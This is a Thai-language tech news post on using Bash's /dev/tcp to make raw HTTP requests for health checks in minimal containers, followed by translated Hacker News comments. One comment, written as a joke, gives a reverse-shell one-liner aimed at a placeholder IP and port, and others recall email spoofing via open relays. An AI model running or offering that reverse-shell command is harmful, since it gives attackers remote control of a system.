1 คะแนน โดย GN⁺ 4 시간 전 | 1 ความคิดเห็น | แชร์ทาง WhatsApp
  • อิมเมจคอนเทนเนอร์แบบมินิมอลมักไม่มี curl หรือ wget ติดมาให้ จึงมีประโยชน์ที่จะมีวิธีอ้อมสำหรับตรวจสอบการเชื่อมต่อกับบริการภายในโดยไม่ต้องติดตั้งแพ็กเกจเพิ่ม
  • การรีไดเร็กต์ /dev/tcp/host/port ของ Bash สามารถเปิด TCP socket ได้ ทำให้เขียนส่งสตริงคำขอ HTTP/1.1 โดยตรงและอ่านการตอบกลับได้
  • /dev/tcp ไม่ใช่พาธในไฟล์ซิสเต็ม แต่เป็น ความสามารถภายในของ Bash ดังนั้น ls /dev/tcp หรือการเข้าถึงไฟล์แบบปกติจากเชลล์อื่นจะไม่ทำงาน
  • วิธีนี้เป็น เทคนิคดีบักอย่างง่าย ที่ไม่รองรับ redirect, การตอบกลับแบบ chunked, การบีบอัด, retry หรือ TLS และถ้าไม่มี Connection: close แล้ว cat อาจค้างรอได้
  • สำหรับงาน HTTP ทั่วไปยังควรใช้ curl แต่ใน คอนเทนเนอร์ขนาดเล็ก ที่เพิ่มเครื่องมือได้ยาก วิธีนี้ก็เพียงพอสำหรับการตรวจสอบการเชื่อมต่ออย่างรวดเร็ว

เขียนคำขอ HTTP ด้วย file descriptor ของ Bash

  • จำเป็นต้องตรวจสอบว่าสามารถเข้าถึงเอนด์พอยต์ /health ของอีกบริการหนึ่งใน Docker network ภายในได้หรือไม่ แต่ในอิมเมจไม่มี curl หรือ wget
  • Bash สามารถเชื่อม TCP socket เข้ากับ file descriptor ได้ จึงเขียนและส่งคำขอ HTTP โดยตรงได้แบบนี้
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
  • service ต้องเป็นชื่อโฮสต์ที่ตีความได้และเข้าถึงได้จากตำแหน่งที่รัน
    • อาจเป็นชื่อคอนเทนเนอร์หรือชื่อบริการที่ตั้งไว้ใน Docker network
    • ใช้ชื่อ DNS ที่ resolve ได้เช่นกัน
    • ควรเปลี่ยนโฮสต์และพอร์ตให้ตรงกับสภาพแวดล้อมของตน
  • ผลลัพธ์ของการตอบกลับจะมีทั้ง status line, header, บรรทัดว่าง และเนื้อหา
  • หากต้องการเพิ่ม header ให้ใส่บรรทัดที่ลงท้ายด้วย \r\n เพิ่มก่อนบรรทัดว่างที่ใช้ปิดท้ายคำขอ
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3

ทำไม /dev/tcp ถึงไม่ใช่ไฟล์จริง

  • /dev/tcp ไม่ใช่ device file จริง แต่เป็น การรีไดเร็กต์ที่ Bash จัดการเอง
    • ไม่มีพาธนี้อยู่บนดิสก์ ดังนั้น ls /dev/tcp จะล้มเหลว
    • หากไปรัน cat /dev/tcp/... ในเชลล์อื่นก็จะเกิดข้อผิดพลาด
  • ตาม Bash manual ถ้าใช้ /dev/tcp/host/port โดยที่ host เป็นชื่อโฮสต์หรือที่อยู่อินเทอร์เน็ตที่ถูกต้อง และ port เป็นหมายเลขพอร์ตจำนวนเต็มหรือชื่อบริการ Bash จะพยายามเปิด TCP socket
  • Bash จะทำ DNS lookup และ connect(2) จากนั้น exec 3<> จะผูก socket เข้ากับ file descriptor 3 เพื่อให้อ่านและเขียนได้

ไม่ใช่ตัวแทนของ HTTP client แต่เป็นเครื่องมือตรวจสอบชั่วคราว

  • วิธีนี้ไม่ใช่ HTTP client จริง จึงไม่รองรับ redirect, การตอบกลับแบบ chunked, การบีบอัด, retry, TLS และอื่น ๆ
  • header Connection: close มีความสำคัญ
    • หากไม่มี เซิร์ฟเวอร์อาจคงการเชื่อมต่อไว้ตามค่าเริ่มต้นของ HTTP/1.1
    • ในกรณีนี้ cat <&3 อาจรอ EOF แล้วไม่จบ
  • สามารถครอบด้วย timeout 6 bash -c '...' เพื่อรับมือกรณีที่การเชื่อมต่อไม่ถูกปิด
  • /dev/tcp เป็นการเปิด raw socket จึงใช้ได้เฉพาะกับ HTTP แบบ plaintext และถ้าเป็น https ต้องใช้ openssl s_client
  • นี่ไม่ใช่ความสามารถของ POSIX แต่เป็นความสามารถของ Bash จึงใช้ไม่ได้ใน dash ซึ่งเป็น /bin/sh ของ Debian หรือใน zsh และต้องเรียก bash โดยตรง
  • เป็นออปชันตอนคอมไพล์ที่เปิดด้วย --enable-net-redirections ตอน build Bash
  • สรุปคือมันไม่ใช่เครื่องมือทั่วไปสำหรับแทน curl แต่เหมาะสำหรับการตรวจสอบการเชื่อมต่ออย่างรวดเร็วใน คอนเทนเนอร์ขนาดเล็ก ที่ไม่สามารถติดตั้งอะไรเพิ่มได้

1 ความคิดเห็น

 
GN⁺ 4 시간 전
ความคิดเห็นจาก Hacker News
  • ตอนเป็นเด็กช่วงปลายยุค 90 รู้แล้วช็อกว่าเราสามารถต่อ telnet เข้า พอร์ต 80, 25, 110 แล้วคุยกับเซิร์ฟเวอร์ได้โดยตรง
    สามารถพิมพ์คำขอ GET / HTTP/1.1 แบบง่าย ๆ เองได้ หรือส่งเมลบนพอร์ต 25 ด้วย HELO, mail-from, mail-to และใช้ POP3 ดึงรายการกล่องจดหมายกับข้อความแต่ละฉบับได้
    ประสบการณ์นี้คือจุดเริ่มต้นของการตระหนักว่า “ไม่มีเวทมนตร์” และทำให้รู้ว่าทุกส่วนของคอมพิวเตอร์ล้วนเป็นสิ่งที่มนุษย์สร้างขึ้น และถ้าพยายามก็เข้าใจได้ถึงระดับหนึ่ง
    ในอนาคตคนส่วนใหญ่อาจปล่อยให้เอเจนต์จัดการให้ แต่สำหรับคนที่อยากเรียนรู้การทำงานจริงโดยไม่มีฟิลเตอร์ของโมเดลและมาตรการป้องกัน ก็น่าจะยังมีช่องทางน่าสนใจในหลายระบบให้ขุดค้นอยู่

    • ในยุคที่ยังไม่มี DKIM/SPF และการยืนยันตัวตนของเซิร์ฟเวอร์ SMTP ยังหละหลวม เราสามารถส่งเมลจากที่อยู่อย่าง jacques.chirac@elysee.fr เพื่อให้เพื่อนมองว่าเราเหมือนแฮ็กเกอร์ได้
    • ตอนนั้นไม่ใช่แค่ยังไม่มี DKIM หรือ SPF เท่านั้น แต่เซิร์ฟเวอร์ SMTP ส่วนใหญ่ยังเป็น open relay ที่รับส่งเมลจากใครถึงใครก็ได้
    • สุดท้ายแล้วมันก็เป็นแค่ไฟล์ข้อความทั้งหมด
      เป็นโครงสร้างที่มีตัวย่อมากมายซ้อนอยู่บนวิธีต่าง ๆ สำหรับสร้าง ส่ง และอ่านไฟล์ข้อความแบบมีโครงสร้าง
      วันหนึ่งพอรู้ว่าแม้แต่ฐานข้อมูลก็เป็นไฟล์ข้อความ ก็ต้องนั่งนิ่งไปพักหนึ่ง
    • ในศตวรรษก่อน เวลาอ่านหรือส่งเมลส่วนตัวจากที่ทำงาน ก็จัดการโดยต่อ telnet เข้า POP3 และ SMTP ทีละตัว
    • กับ HTTP/2 จะทำแบบนี้ไม่ได้ แต่โชคดีที่เกือบทุกเซิร์ฟเวอร์ยังพูด HTTP/1 อยู่
      ส่วน TLS ก็ใช้ telnet ไม่ได้ และเซิร์ฟเวอร์จำนวนมากก็จะตอบกลับคำขอ HTTP ด้วยการรีไดเรกต์เท่านั้น
      ถ้าใช้ openssl s_client แทน telnet ก็ยังพอ tunnel ข้อความเข้าไปใน TLS ได้ แต่ก็ให้ความรู้สึกเหมือนเป็นวิธีลัดนิดหน่อย
      น่าเสียดายที่โปรโตคอลสมัยใหม่จำนวนมากหันไปใช้การเข้ารหัสแบบไบนารี ทำให้ถ้าไม่มีเครื่องมือเฉพาะก็จับต้องในระดับสายสัญญาณได้ยากขึ้น
      ถึงอย่างนั้นก็น่าจะยังมีคนที่ชอบขุดคุ้ยเรื่องแบบนี้ในอนาคต และเทคนิคเก่า ๆ ก็สนุกและบางทีก็มีประโยชน์จริง เหมือนการก่อไฟด้วยไม้หรือเผาอิฐดิน
      กลับกัน AI ก็ทำให้การทดลองง่ายขึ้น เพราะแทนที่จะต้องไล่อ่าน RFC ก็ถาม LLM ได้เลย เช่น เรียนรู้คำสั่ง IMAP ทั่วไปส่วนใหญ่ได้
  • ใน zsh มี โมดูล zsh/net/tcp และ zsh/zftp แยกต่างหากจาก /dev/tcp ของ Bash
    https://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
    https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
    https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....

  • ใน Plan 9 มี /net ซึ่งเป็นระบบไฟล์สังเคราะห์จริง ๆ ทำให้โปรแกรมใด ๆ ก็ทำงานแบบนี้และมากกว่านี้ได้
    ถ้าเมานต์ /net ของเครื่องอื่นผ่านโปรโตคอล 9P ก็ใช้เหมือน VPN เฉพาะกิจได้ด้วย และสามารถทดลองจาก Linux ผ่าน 9front ได้
    ในไลบรารี Go ก็ยังเห็นร่องรอยของ /net แบบ Plan 9 อยู่ เหมือนเป็นมรดกจาก Rob Pike

  • ใช้กับ example.com ได้ดี
    เปิดด้วย exec 3<>/dev/tcp/example.com/80 แล้วส่ง printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3 จากนั้น cat <&3 ก็จะได้ HTTP/1.1 200 OK
    ทุกวันนี้โดเมนที่ไม่ได้บังคับ HTTPS มีน้อยมาก สุดท้ายเวลาเทสต์อะไรแบบนี้ก็มักต้องไปใช้ example.com

    • เวลา captive portal ของ WiFi สาธารณะ มีปัญหา example.com ก็มีประโยชน์
      ถ้าเปิด http://example.com ในเบราว์เซอร์ ก็จะถูกรีไดเรกต์กลับไปยังหน้า captive portal เพื่อทำขั้นตอนเชื่อมต่ออินเทอร์เน็ตให้เสร็จอีกครั้ง
    • ใส่ตัวขึ้นบรรทัดใหม่จริง ๆ ลงไปใน printf ก็ใช้ได้
      \r ควรมีถึงจะถูกต้อง แต่ไม่มีมันก็ยังพอทำงานได้
  • มีมุกได้ว่าถ้าจะคุยกับคอมพิวเตอร์ของเพื่อน ทุกคนก็ใช้ bash -i >& /dev/tcp/IP/PORT 0>&1 กันทั้งนั้น

  • Bash ไม่ได้พูด HTTP ได้เอง แต่ มันแค่เปิด TCP socket ได้
    สิ่งที่ทำกันตรงนี้คือพูด HTTP เองโดยตรง ซึ่งใช้ทดสอบหรือดีบักก็โอเค และลองทำด้วยมือก็ดูน่าสนุก แต่ถ้าเอา HTTP client ปลอม ๆ แบบนี้ไปใช้ในสภาพแวดล้อมอัตโนมัติจริง ๆ สุดท้ายจะเจ็บตัวเอง
    โค้ดของเล่นแบบนี้พังได้เพราะ parse HTTP ได้ไม่ถูกต้อง
    แน่นอนว่าคุณจะเขียน HTTP/1.1 client ที่สมบูรณ์ด้วย Bash ก็ได้ และทำ HTTP server ด้วย Bash ล้วนก็พอทำได้เช่นกัน: https://github.com/bahamas10/bash-web-server
    ทางเลือกที่บ้าพอน้อยกว่าคือปกติจะใช้ nc และส่วนใหญ่ก็น่าจะฉลาดกว่าด้วย

    • คำว่า “HTTP server ที่สมบูรณ์ด้วย Bash ล้วน” นั้นพูดให้แม่นจริง ๆ ก็ไม่ถูก
      Bash ไม่สามารถ listen บน TCP/UDP socket เพื่อรับการเชื่อมต่อขาเข้าได้
      โปรเจกต์ bash-web-server จะ build socket listener ที่เขียนด้วย C แล้ว dynamic load ตอนรันไทม์เป็นโมดูล “ในตัว” เพื่อเพิ่มความสามารถนี้
      [0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
    • ทักท้วงได้ถูกต้อง และเพราะถ้อยคำในโพสต์เดิมพูดเกินไป จึงจะอัปเดตให้แม่นยำขึ้น
      เครื่องมือสาย nc หรือ netcat แบบใกล้เคียงกันน่าจะเป็นตัวเลือกที่ดีกว่า แต่ตอนนั้น image ที่ใช้อยู่ไม่มีเครื่องมือพวกนั้น
    • ก็ไม่ได้บ้าขนาดนั้น
      ฉันพิมพ์ HTTP request ด้วยมือตั้งแต่ก่อนจะมี HTTP/1.1 และ Host header ที่จำเป็นเสียอีก
      ถ้าจะใช้ทำอะไรจริงจังคงบ้ามาก และการทำเว็บเซิร์ฟเวอร์ด้วย Bash ก็เหมือนกัน แต่ถ้าเอาไว้ทดสอบเร็ว ๆ ถือว่าใช้ได้ดีทีเดียว
    • มีคนทำ Minecraft server แบบ Bash ล้วน ด้วย
      https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
    • ยังมี framework คล้าย Rails สำหรับ Bash ด้วย: https://github.com/jneen/balls
  • ฉันเรียนรู้เรื่องนี้จากการเห็นทีม Bauhinia ใช้มันตอนแก้โจทย์ CTF
    มันเป็น CTF แบบหลายด่านต่อกัน ตอนแรกได้ system shell จาก ROP chain แต่กลายเป็นสภาพแวดล้อมแบบคุกที่แทบจะรันอะไรได้นอกจาก Bash
    ใช้ได้แค่ประมาณ read กับ cat เลยใช้ cat /dev/tcp แล้ว redirect ไปยัง virtual terminal จากนั้นอ่านเนื้อหานั้นเพื่อเอา URL ของระบบภายในและหา flag จนเจอ

  • ตอนตรวจสอบการเชื่อมต่อระหว่างคอนเทนเนอร์ใน Docker network ภายใน ผมเจอวิธีนี้เพราะใน image ไม่มีทั้ง curl และ wget
    ที่น่าประหลาดใจคือ Bash มี /dev/tcp อยู่ ทำให้ใช้ shell magic นิดหน่อยสร้างอะไรคล้าย HTTP request ได้
    ตัวอย่างเช่นเปิดด้วย exec 3<>/dev/tcp/service/8642 แล้วส่ง printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3 จากนั้น cat <&3 ก็ได้
    ตรงนี้ service คือชื่อโฮสต์ปลายทางที่จะเชื่อมต่อ และ 8642 คือพอร์ตที่อยากลองคุยแบบ HTTP

    • ฟังดูเท่ดี แต่สงสัยว่ามีข้อเสียอะไรไหมถ้าจะใช้ image ที่รองรับ curl ไปเลย
      นึกข้อเสียไม่ออก และมองว่าแทบเป็นสิ่งจำเป็นแม้แต่ใน production image
  • ใน Debian รุ่นเก่าและดิสทริบิวชันสาย Debian สมัยก่อน ฟีเจอร์นี้ใช้ไม่ได้ เพราะ การเข้าถึง TCP ผ่านไฟล์เสมือนถูกปิดไว้เป็นค่าเริ่มต้น
    เท่าที่เข้าใจ จุดยืนถูกเปลี่ยนในปี 2009 และเปิดใช้งานฟีเจอร์นี้ โดยมีการอภิปรายและลิงก์อยู่ใน Bug #146464
    <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
    นอกจากวิธีนี้ ยังมีวิธีเข้าถึงความสามารถด้านเครือข่ายจากเครื่องมือ shell ได้อีกหลายแบบ เช่น curl, wget, คำสั่ง HEAD และ GET ของ Perl, netcat/nc, socat, telnet เป็นต้น

  • ฉันยังจำได้ว่าตอนเป็นวัยรุ่นเคยใช้ echo ส่งข้อความหลอน ๆ ไปยัง /dev/ptty ของคนอื่นเพื่อแกล้งให้ตกใจ
    ข้อความที่ฉันส่งจะไปโผล่บนเทอร์มินัลที่อีกฝ่ายเปิดอยู่ราวกับเวทมนตร์
    จนทุกวันนี้ก็ยังไม่รู้ว่าทำไมในห้องคอมถึงให้แต่ละเครื่องใช้คนละบัญชีโดยไม่ล็อกไว้ หรือบางทีอาจเป็นเพราะ ข้อจำกัดของ VAX ในตอนนั้นก็ได้